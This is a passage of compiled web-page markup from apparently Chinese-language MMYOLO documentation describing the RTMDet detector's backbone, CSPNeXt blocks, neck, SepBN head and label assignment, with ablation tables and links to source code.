",(0,l.jsx)(n.code,{children:"ConvModule"})," \uff0c\u4e0d\u540c\u4e8e\u4e4b\u524d\u7684 ",(0,l.jsx)(n.code,{children:"Focus"})," \u6a21\u5757\u6216\u8005 1 \u5c42 6x6 kernel \u7684 ",(0,l.jsx)(n.code,{children:"ConvModule"})," \u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"Stage Layer"})," \u603b\u4f53\u7ed3\u6784\u4e0e\u5df2\u6709\u6a21\u578b\u7c7b\u4f3c\uff0c\u524d 3 \u4e2a ",(0,l.jsx)(n.code,{children:"Stage Layer"})," \u7531 1 \u4e2a ",(0,l.jsx)(n.code,{children:"ConvModule"})," \u548c 1 \u4e2a ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u7ec4\u6210\u3002\u7b2c 4 \u4e2a ",(0,l.jsx)(n.code,{children:"Stage Layer"})," \u5728 ",(0,l.jsx)(n.code,{children:"ConvModule"})," \u548c ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u4e2d\u95f4\u589e\u52a0\u4e86 ",(0,l.jsx)(n.code,{children:"SPPF"})," \u6a21\u5757\uff08MMDetection \u7248\u672c\u4e3a ",(0,l.jsx)(n.code,{children:"SPP"})," \u6a21\u5757\uff09\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\u5982\u6a21\u578b\u56fe Details \u90e8\u5206\u6240\u793a\uff0c",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u7531 3 \u4e2a ",(0,l.jsx)(n.code,{children:"ConvModule"})," + n \u4e2a ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"}),"(\u5e26\u6b8b\u5dee\u8fde\u63a5) + 1 \u4e2a ",(0,l.jsx)(n.code,{children:"Channel Attention"})," \u6a21\u5757\u7ec4\u6210\u3002",(0,l.jsx)(n.code,{children:"ConvModule"})," \u4e3a 1 \u5c42 3x3 ",(0,l.jsx)(n.code,{children:"Conv2d"})," + ",(0,l.jsx)(n.code,{children:"BatchNorm"})," + ",(0,l.jsx)(n.code,{children:"SiLU"})," \u6fc0\u6d3b\u51fd\u6570\u3002",(0,l.jsx)(n.code,{children:"Channel Attention"})," \u6a21\u5757\u4e3a 1 \u5c42 ",(0,l.jsx)(n.code,{children:"AdaptiveAvgPool2d"})," + 1 \u5c42 1x1 ",(0,l.jsx)(n.code,{children:"Conv2d"})," + ",(0,l.jsx)(n.code,{children:"Hardsigmoid"})," \u6fc0\u6d3b\u51fd\u6570\u3002",(0,l.jsx)(n.code,{children:"CSPNeXt Block"})," \u6a21\u5757\u5728\u4e0b\u8282\u8be6\u7ec6\u8bb2\u8ff0\u3002"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb Backbone - ",(0,l.jsx)(n.code,{children:"CSPNeXt"})," \u7684\u6e90\u7801\uff0c\u53ef\u4ee5 ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/backbones/cspnext.py#L16-L171",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})})," \u8df3\u8f6c\u3002"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.h4,{id:"122-cspnext-block",children:"1.2.2 CSPNeXt Block"}),"\n",(0,l.jsxs)(n.p,{children:["Darknet \uff08\u56fe a\uff09\u4f7f\u7528 1x1 \u4e0e 3x3 \u5377\u79ef\u7684 ",(0,l.jsx)(n.code,{children:"Basic Block"}),"\u3002",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2209.02976",children:"YOLOv6"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2207.02696",children:"YOLOv7"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2203.16250",children:"PPYOLO-E"})," \uff08\u56fe b & c\uff09\u4f7f\u7528\u4e86\u91cd\u53c2\u6570\u5316 Block\u3002\u4f46\u91cd\u53c2\u6570\u5316\u7684\u8bad\u7ec3\u4ee3\u4ef7\u9ad8\uff0c\u4e14\u4e0d\u6613\u91cf\u5316\uff0c\u9700\u8981\u5176\u4ed6\u65b9\u5f0f\u6765\u5f25\u8865\u91cf\u5316\u8bef\u5dee\u3002\nRTMDet \u5219\u501f\u9274\u4e86\u6700\u8fd1\u6bd4\u8f83\u70ed\u95e8\u7684 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2201.03545",children:"ConvNeXt"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2203.06717",children:"RepLKNet"})," \u7684\u505a\u6cd5\uff0c\u4e3a ",(0,l.jsx)(n.code,{children:"Basic Block"})," \u52a0\u5165\u4e86\u5927 kernel \u7684 ",(0,l.jsx)(n.code,{children:"depth-wise"})," \u5377\u79ef\uff08\u56fe d\uff09\uff0c\u5e76\u5c06\u5176\u547d\u540d\u4e3a ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"}),"\u3002"]}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{alt:"BasicBlock",src:"https://user-images.githubusercontent.com/27466624/192752976-4c20f944-1ef0-4746-892e-ba814cdcda20.png"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c kernel \u5927\u5c0f\u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Kernel size"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency-bs1-TRT-FP16 / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"3x3"}),(0,l.jsx)(n.td,{children:"50.8"}),(0,l.jsx)(n.td,{children:"79.61G"}),(0,l.jsx)(n.td,{children:"2.1"}),(0,l.jsx)(n.td,{children:"50.0"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"5x5"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.92M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"79.7G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.11"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.9"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"7x7"}),(0,l.jsx)(n.td,{children:"51.1"}),(0,l.jsx)(n.td,{children:"80.34G"}),(0,l.jsx)(n.td,{children:"2.73"}),(0,l.jsx)(n.td,{children:"51.1"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb ",(0,l.jsx)(n.code,{children:"Basic Block"})," \u548c ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"})," \u6e90\u7801\uff0c\u53ef\u4ee5",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmdetection/blob/3.x/mmdet/models/layers/csp_layer.py#L79-L146",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})}),"\u8df3\u8f6c\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"123-\u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c-stage-\u95f4\u7684-block-\u6570",children:"1.2.3 \u8c03\u6574\u68c0\u6d4b\u5668\u4e0d\u540c stage \u95f4\u7684 block \u6570"}),"\n",(0,l.jsxs)(n.p,{children:["\u7531\u4e8e ",(0,l.jsx)(n.code,{children:"CSPNeXt Block"})," \u5185\u4f7f\u7528\u4e86 ",(0,l.jsx)(n.code,{children:"depth-wise"})," \u5377\u79ef\uff0c\u5355\u4e2a block \u5185\u7684\u5c42\u6570\u589e\u591a\u3002\u5982\u679c\u4fdd\u6301\u539f\u6709\u7684 stage \u5185\u7684 block \u6570\uff0c\u5219\u4f1a\u5bfc\u81f4\u6a21\u578b\u7684\u63a8\u7406\u901f\u5ea6\u5927\u5e45\u964d\u4f4e\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"RTMDet \u91cd\u65b0\u8c03\u6574\u4e86\u4e0d\u540c stage \u95f4\u7684 block \u6570\uff0c\u5e76\u8c03\u6574\u4e86\u901a\u9053\u7684\u8d85\u53c2\uff0c\u5728\u4fdd\u8bc1\u4e86\u7cbe\u5ea6\u7684\u60c5\u51b5\u4e0b\u63d0\u5347\u4e86\u63a8\u7406\u901f\u5ea6\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c block \u6570\u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Num blocks"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency-bs1-TRT-FP16 / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"L+3-9-9-3"}),(0,l.jsx)(n.td,{children:"53.4"}),(0,l.jsx)(n.td,{children:"86.28"}),(0,l.jsx)(n.td,{children:"2.6"}),(0,l.jsx)(n.td,{children:"51.4"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"L+3-6-6-3"}),(0,l.jsx)(n.td,{children:"50.92M"}),(0,l.jsx)(n.td,{children:"79.7G"}),(0,l.jsx)(n.td,{children:"2.11"}),(0,l.jsx)(n.td,{children:"50.9"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"L+3-6-6-3 + channel attention"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"52.3M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"79.9G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.4"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u6700\u540e\u4e0d\u540c\u5927\u5c0f\u6a21\u578b\u7684 block \u6570\u8bbe\u7f6e\uff0c\u53ef\u4ee5\u53c2\u89c1",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/backbones/cspnext.py#L50-L56",children:"\u6e90\u7801"})," \u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"124-neck",children:"1.2.4 Neck"}),"\n",(0,l.jsx)(n.p,{children:"Neck \u6a21\u578b\u7ed3\u6784\u548c YOLOX \u51e0\u4e4e\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7\u5185\u90e8\u7684 block \u8fdb\u884c\u4e86\u66ff\u6362\u3002"}),"\n",(0,l.jsx)(n.h4,{id:"125-backbone-\u4e0e-neck-\u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861",children:"1.2.5 Backbone \u4e0e Neck \u4e4b\u95f4\u7684\u53c2\u6570\u91cf\u548c\u8ba1\u7b97\u91cf\u7684\u5747\u8861"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1911.09070",children:"EfficientDet"})," \u3001",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1904.07392",children:"NASFPN"})," \u7b49\u5de5\u4f5c\u5728\u6539\u8fdb Neck \u65f6\u5f80\u5f80\u805a\u7126\u4e8e\u5982\u4f55\u4fee\u6539\u7279\u5f81\u878d\u5408\u7684\u65b9\u5f0f\u3002 \u4f46\u5f15\u5165\u8fc7\u591a\u7684\u8fde\u63a5\u4f1a\u589e\u52a0\u68c0\u6d4b\u5668\u7684\u5ef6\u65f6\uff0c\u5e76\u589e\u52a0\u5185\u5b58\u5f00\u9500\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6240\u4ee5 RTMDet \u9009\u62e9\u4e0d\u5f15\u5165\u989d\u5916\u7684\u8fde\u63a5\uff0c\u800c\u662f\u6539\u53d8 Backbone \u4e0e Neck \u95f4\u53c2\u6570\u91cf\u7684\u914d\u6bd4\u3002\u8be5\u914d\u6bd4\u662f\u901a\u8fc7\u624b\u52a8\u8c03\u6574 Backbone \u548c Neck \u7684 ",(0,l.jsx)(n.code,{children:"expand_ratio"})," \u53c2\u6570\u6765\u5b9e\u73b0\u7684\uff0c\u5176\u6570\u503c\u5728 Backbone \u548c Neck \u4e2d\u90fd\u4e3a 0.5\u3002",(0,l.jsx)(n.code,{children:"expand_ratio"})," \u5b9e\u9645\u4e0a\u662f\u6539\u53d8 ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u4e2d\u5404\u5c42\u901a\u9053\u6570\u7684\u53c2\u6570\uff08\u5177\u4f53\u53ef\u89c1\u6a21\u578b\u56fe ",(0,l.jsx)(n.code,{children:"CSPLayer"})," \u90e8\u5206\uff09\u3002\u5982\u679c\u60f3\u8fdb\u884c\u4e0d\u540c\u914d\u6bd4\u7684\u5b9e\u9a8c\uff0c\u53ef\u4ee5\u901a\u8fc7\u8c03\u6574\u914d\u7f6e\u6587\u4ef6\u4e2d\u7684 ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/rtmdet_l_8xb32-300e_coco.py#L32",children:"backbone {expand_ratio}"})," \u548c ",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/configs/rtmdet/rtmdet_l_8xb32-300e_coco.py#L45",children:"neck {expand_ratio}"})," \u53c2\u6570\u5b8c\u6210\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5b9e\u9a8c\u53d1\u73b0\uff0c\u5f53 Neck \u5728\u6574\u4e2a\u6a21\u578b\u4e2d\u7684\u53c2\u6570\u91cf\u5360\u6bd4\u66f4\u9ad8\u65f6\uff0c\u5ef6\u65f6\u66f4\u4f4e\uff0c\u4e14\u5bf9\u7cbe\u5ea6\u7684\u5f71\u54cd\u5f88\u5c0f\u3002\u4f5c\u8005\u5728\u76f4\u64ad\u7b54\u7591\u65f6\u56de\u590d\uff0cRTMDet \u5728 Neck \u8fd9\u4e00\u90e8\u5206\u7684\u5b9e\u9a8c\u53c2\u8003\u4e86 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2202.04256",children:"GiraffeDet"})," \u7684\u505a\u6cd5\uff0c\u4f46\u6ca1\u6709\u50cf GiraffeDet \u4e00\u6837\u5f15\u5165\u989d\u5916\u8fde\u63a5\uff08\u8be6\u7ec6\u53ef\u53c2\u89c1 ",(0,l.jsx)(n.a,{href:"https://www.bilibili.com/video/BV1e841147GD",children:"RTMDet \u53d1\u5e03\u89c6\u9891"})," 31\u520640\u79d2\u5de6\u53f3\u7684\u5185\u5bb9\uff09\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c\u53c2\u6570\u91cf\u914d\u6bd4\u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Model size"}),(0,l.jsx)(n.th,{children:"Backbone"}),(0,l.jsx)(n.th,{children:"Neck"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"S"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"47%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"45%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"8.54M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"15.76G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"1.21"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"43.9"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"S"}),(0,l.jsx)(n.td,{children:"63%"}),(0,l.jsx)(n.td,{children:"29%"}),(0,l.jsx)(n.td,{children:"9.01M"}),(0,l.jsx)(n.td,{children:"15.85G"}),(0,l.jsx)(n.td,{children:"1.37"}),(0,l.jsx)(n.td,{children:"43.7"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"L"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"47%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"45%"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.92M"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"79.7G"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.11"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"50.9"})})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"L"}),(0,l.jsx)(n.td,{children:"63%"}),(0,l.jsx)(n.td,{children:"29%"}),(0,l.jsx)(n.td,{children:"57.43M"}),(0,l.jsx)(n.td,{children:"93.73"}),(0,l.jsx)(n.td,{children:"2.57"}),(0,l.jsx)(n.td,{children:"51.0"})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb Neck - ",(0,l.jsx)(n.code,{children:"CSPNeXtPAFPN"})," \u7684\u6e90\u7801\uff0c\u53ef\u4ee5",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/necks/cspnext_pafpn.py#L15-L201",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})})," \u8df3\u8f6c\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"126-head",children:"1.2.6 Head"}),"\n",(0,l.jsxs)(n.p,{children:["\u4f20\u7edf\u7684 YOLO \u7cfb\u5217\u90fd\u4f7f\u7528\u540c\u4e00 Head \u8fdb\u884c\u5206\u7c7b\u548c\u56de\u5f52\u3002YOLOX \u5219\u5c06\u5206\u7c7b\u548c\u56de\u5f52\u5206\u652f\u89e3\u8026\uff0cPPYOLO-E \u548c YOLOv6 \u5219\u5f15\u5165\u4e86 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2108.07755",children:"TOOD"})," \u4e2d\u7684\u7ed3\u6784\u3002\u5b83\u4eec\u5728\u4e0d\u540c\u7279\u5f81\u5c42\u7ea7\u4e4b\u95f4\u90fd\u4f7f\u7528\u72ec\u7acb\u7684 Head\uff0c\u56e0\u6b64 Head \u5728\u6a21\u578b\u4e2d\u4e5f\u5360\u6709\u8f83\u591a\u7684\u53c2\u6570\u91cf\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["RTMDet \u53c2\u8003\u4e86 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1904.07392",children:"NAS-FPN"})," \u4e2d\u7684\u505a\u6cd5\uff0c\u4f7f\u7528\u4e86 ",(0,l.jsx)(n.code,{children:"SepBNHead"}),"\uff0c\u5728\u4e0d\u540c\u5c42\u4e4b\u95f4\u5171\u4eab\u5377\u79ef\u6743\u91cd\uff0c\u4f46\u662f\u72ec\u7acb\u8ba1\u7b97 BN\uff08BatchNorm\uff09 \u7684\u7edf\u8ba1\u91cf\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5173\u4e8e\u4e0d\u540c\u7ed3\u6784 Head \u7684\u5b9e\u9a8c\u7ed3\u679c\uff0c\u5982\u4e0b\u8868\u6240\u793a\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"Head type"}),(0,l.jsx)(n.th,{children:"params"}),(0,l.jsx)(n.th,{children:"flops"}),(0,l.jsx)(n.th,{children:"latency / ms"}),(0,l.jsx)(n.th,{children:"mAP"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Fully-shared head"}),(0,l.jsx)(n.td,{children:"52.32"}),(0,l.jsx)(n.td,{children:"80.23"}),(0,l.jsx)(n.td,{children:"2.44"}),(0,l.jsx)(n.td,{children:"48.0"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Separated head"}),(0,l.jsx)(n.td,{children:"57.03"}),(0,l.jsx)(n.td,{children:"80.23"}),(0,l.jsx)(n.td,{children:"2.44"}),(0,l.jsx)(n.td,{children:"51.2"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsxs)(n.td,{children:[(0,l.jsx)(n.strong,{children:"SepBN"})," ",(0,l.jsx)(n.strong,{children:"head"})]}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"52.32"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"80.23"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"2.44"})}),(0,l.jsx)(n.td,{children:(0,l.jsx)(n.strong,{children:"51.3"})})]})]})]}),"\n",(0,l.jsxs)(n.p,{children:["\u540c\u65f6\uff0cRTMDet \u4e5f\u5ef6\u7eed\u4e86\u4f5c\u8005\u4e4b\u524d\u5728 ",(0,l.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/306530300",children:"NanoDet"})," \u4e2d\u7684\u601d\u60f3\uff0c\u4f7f\u7528 ",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/2011.12885",children:"Quality Focal Loss"})," \uff0c\u5e76\u53bb\u6389 Objectness \u5206\u652f\uff0c\u8fdb\u4e00\u6b65\u5c06 Head \u8f7b\u91cf\u5316\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u60f3\u9605\u8bfb Head \u4e2d ",(0,l.jsx)(n.code,{children:"RTMDetSepBNHeadModule"})," \u7684\u6e90\u7801\uff0c\u53ef\u4ee5",(0,l.jsx)(n.a,{href:"https://github.com/open-mmlab/mmyolo/blob/main/mmyolo/models/dense_heads/rtmdet_head.py#L24-L189",children:(0,l.jsx)(n.strong,{children:"\u70b9\u6b64"})})," \u8df3\u8f6c\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-{note}",children:"\u6ce8\uff1aMMYOLO \u548c MMDetection \u4e2d Neck \u548c Head \u7684\u5177\u4f53\u5b9e\u73b0\u7a0d\u6709\u4e0d\u540c\u3002\n"})}),"\n",(0,l.jsx)(n.h3,{id:"13-\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565",children:"1.3 \u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565"}),"\n",(0,l.jsxs)(n.p,{children:["\u6b63\u8d1f\u6837\u672c\u5339\u914d\u7b56\u7565\u6216\u8005\u79f0\u4e3a\u6807\u7b7e\u5339\u914d\u7b56\u7565 ",(0,l.jsx)(n.code,{children:"Label Assignment"})," \u662f\u76ee\u6807\u68c0\u6d4b\u6a21\u578b\u8bad\u7ec3\u4e2d\u6700\u6838\u5fc3\u7684\u95ee\u9898\u4e4b\u4e00, \u66f4\u597d\u7684\u6807\u7b7e\u5339\u914d\u7b56\u7565\u5f80\u5f80\u80fd\u591f\u4f7f\u5f97\u7f51\u7edc\u66f4\u597d\u5b66\u4e60\u5230\u7269\u4f53\u7684\u7279\u5f81\u4ee5\u63d0\u9ad8\u68c0\u6d4b\u80fd\u529b\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u65e9\u671f\u7684\u6837\u672c\u6807\u7b7e\u5339\u914d\u7b56\u7565\u4e00\u822c\u90fd\u662f\u57fa\u4e8e ",(0,l.jsx)(n.code,{children:"\u7a7a\u95f4\u4ee5\u53ca\u5c3a\u5ea6\u4fe1\u606f\u7684\u5148\u9a8c"})," \u6765\u51b3\u5b9a\u6837\u672c\u7684\u9009\u53d6\u3002 \u5178\u578b\u6848\u4f8b\u5982\u4e0b\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"FCOS"})," \u4e2d\u5148\u9650\u5b9a\u7f51\u683c\u4e2d\u5fc3\u70b9\u5728 ",(0,l.jsx)(n.code,{children:"GT"})," \u5185\u7b5b\u9009\u540e\u7136\u540e\u518d\u901a\u8fc7\u4e0d\u540c\u7279\u5f81\u5c42\u9650\u5236\u5c3a\u5bf8\u6765\u51b3\u5b9a\u6b63\u8d1f\u6837\u672c"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"RetinaNet"})," \u5219\u662f\u901a\u8fc7 ",(0,l.jsx)(n.code,{children:"Anchor"})," \u4e0e ",(0,l.jsx)(n.code,{children:"GT"})," \u7684\u6700\u5927 ",(0,l.jsx)(n.code,{children:"IOU"})," \u5339\u914d\u6765\u5212\u5206\u6b63\u8d1f\u6837\u672c"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"YOLOV5"})," \u7684\u6b63\u8d1f\u6837\u672c\u5219\u662f\u901a\u8fc7\u6837\u672c\u7684\u5bbd\u9ad8\u6bd4\u5148\u7b5b\u9009\u4e00\u90e8\u5206, \u7136\u540e\u901a\u8fc7\u4f4d\u7f6e\u4fe1\u606f\u9009\u53d6 ",(0,l.jsx)(n.code,{children:"GT"})," \u4e2d\u5fc3\u843d\u5728\u7684 ",(0,l.jsx)(n.code,{children:"Grid"})," \u4ee5\u53ca\u4e34\u8fd1\u7684\u4e24\u4e2a\u4f5c\u4e3a\u6b63\u6837\u672c"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u4f46\u662f\u4e0a\u8ff0\u65b9\u6cd5\u90fd\u662f\u5c5e\u4e8e\u57fa\u4e8e ",(0,l.jsx)(n.code,{children:"\u5148\u9a8c"})," \u7684\u9759\u6001\u5339\u914d\u7b56\u7565, \u5c31\u662f\u6837\u672c\u7684\u9009\u53d6\u65b9\u5f0f\u662f\u6839\u636e\u4eba\u7684\u7ecf\u9a8c\u89c4\u5b9a\u7684\u3002 \u4e0d\u4f1a\u968f\u7740\u7f51\u7edc\u7684\u4f18\u5316\u800c\u8fdb\u884c\u81ea\u52a8\u4f18\u5316\u9009\u53d6\u5230\u66f4\u597d\u7684\u6837\u672c, \u8fd1\u4e9b\u5e74\u6d8c\u73b0\u4e86\u8bb8\u591a\u4f18\u79c0\u7684\u52a8\u6001\u6807\u7b7e\u5339\u914d\u7b56\u7565\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"OTA"})," \u63d0\u51fa\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"Sinkhorn"})," \u8fed\u4ee3\u6c42\u89e3\u5339\u914d\u4e2d\u7684\u6700\u4f18\u4f20\u8f93\u95ee\u9898"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"YOLOX"})," \u4e2d\u4f7f\u7528 ",(0,l.jsx)(n.code,{children:"OTA"})," \u7684\u8fd1\u4f3c\u7b97\u6cd5 ",(0,l.jsx)(n.code,{children:"SimOTA"})," , ",(0,l.jsx)(n.code,{children:"TOOD"})," \u5c06\u5206\u7c7b\u5206\u6570\u4ee5\u53ca ",(0,l.jsx)(n.code,{children:"IOU"})," \u76f8\u4e58\u8ba1\u7b97 ",(0,l.jsx)(n.code,{children:"Cost"})," \u77e9\u9635\u8fdb\u884c\u6807\u7b7e\u5339\u914d\u7b49\u7b49"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u8fd9\u4e9b\u7b97\u6cd5\u5c06 ",(0,l.jsx)(n.code,{children:"\u9884\u6d4b\u7684 Bboxes \u4e0e GT \u7684 IOU "})," \u548c ",(0,l.jsx)(n.code,{children:"\u5206\u7c7b\u5206\u6570"})," \u6216\u8005\u662f\u5bf9\u5e94 ",(0,l.jsx)(n.code,{children:"\u5206\u7c7b Loss"})," \u548c ",(0,l.jsx)(n.code,{children:"\u56de\u5f52 Loss"})," \u62ff\u6765\u8ba1\u7b97 